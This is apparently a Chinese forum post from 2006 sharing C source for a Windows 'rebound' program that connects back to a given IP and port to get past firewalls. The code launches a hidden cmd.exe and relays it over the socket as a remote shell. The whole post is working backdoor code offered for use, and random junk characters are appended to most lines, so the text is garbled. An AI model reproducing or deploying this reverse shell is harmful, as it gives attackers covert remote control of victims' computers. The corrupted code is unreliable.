这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l`RFi)u~&
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/* ============================== y O?52YO
Rebound port in Windows NT Zq"wq[GCN
By wind,2006/7 A/*h[N+2!
===============================*/ *Ja,3Qq
#include 0'tm.,
#include n(el
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#pragma comment(lib,"wsock32.lib") \b|Q `)TK
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void OutputShell(); 9 kS;_(DB
SOCKET sClient; <<9Y=%C+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {c:ef@'U
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void main(int argc,char **argv) wi-{&
{ qt#4i.Iu+
WSADATA stWsaData; %p.hwgvnp
int nRet; O7tL,)Vv
SOCKADDR_IN stSaiClient,stSaiServer; Nx4X1j?-n
}WG -R
if(argc != 3) z`rW2UO#a`
{ Pr^p
^s
printf("Useage:\n\rRebound DestIP DestPort\n"); 3+#
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return; p4{3H+y
} 'O]Ja-
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WSAStartup(MAKEWORD(2,2),&stWsaData); h2Jdcr#@FF
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4xNzhnp|
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stSaiClient.sin_family = AF_INET; <\5Y~!)
stSaiClient.sin_port = htons(0); \%:]o-+"I
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >iB-gj}>X
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yzmwNsu
{ wPU<jAQyp
printf("Bind Socket Failed!\n"); <S%kwS
return; @IwVR
} QG=&{-I~[3
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stSaiServer.sin_family = AF_INET; " ^:$7~%bA
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); HFd>UdT%
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vxC,8Z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i#y3QCNqf^
{ 6J%+pt[tu
printf("Connect Error!"); N8:&v
return; )IP{yL8c
}
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OutputShell(); 8q&*tpE
} C]+T5W\"<B
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void OutputShell() ZIrJ"*QO=
{ A?sU[b6_
char szBuff[1024]; PNMf5'@m
SECURITY_ATTRIBUTES stSecurityAttributes; x2gP, p-
OSVERSIONINFO stOsversionInfo; a0ze7F<(
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]tVXao
STARTUPINFO stStartupInfo; RDu'N
char *szShell; m}3POl/*j
PROCESS_INFORMATION stProcessInformation; B>&eciY
unsigned long lBytesRead; .8%mi'0ud
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (e;9,~u)
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U)N_/
stSecurityAttributes.lpSecurityDescriptor = 0; 6|D,`dk3U
stSecurityAttributes.bInheritHandle = TRUE; VX;tglu2
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <KDl2>O
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7+I2"Hy
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \o j#*aL^
stStartupInfo.wShowWindow = SW_HIDE; (g@e=m7Q
stStartupInfo.hStdInput = hReadPipe; zz4A,XrD
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @pD']=d}t
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GetVersionEx(&stOsversionInfo); R]Q4+
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switch(stOsversionInfo.dwPlatformId) =Jx,.|Bf
{ E*Q><UU
case 1: zoV-@<Eh
szShell = "command.com"; d6.9]V?
break; ?DC3BA\)
default: N|ut^X+|\
szShell = "cmd.exe"; $v6dB {%Qu
break; Pl
}dA
} 7^~pOFdH
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ek ,s6B)'d
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send(sClient,szMsg,77,0); m
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while(1) {Z_Pry$6
{ ;Db89Nc$
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1&
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if(lBytesRead) 3a4 ]{
{ 8F<Qc*'
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X3:-+]6,d
send(sClient,szBuff,lBytesRead,0); j]"Yzt~u
} UP]J`\$o
else m GWT</=[$
{ "l&sDh%Lk<
lBytesRead=recv(sClient,szBuff,1024,0); &0
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if(lBytesRead<=0) break; {=,?]Z+
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rY>{L6d
} 15r<n
} `
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return; E$FXs~a
}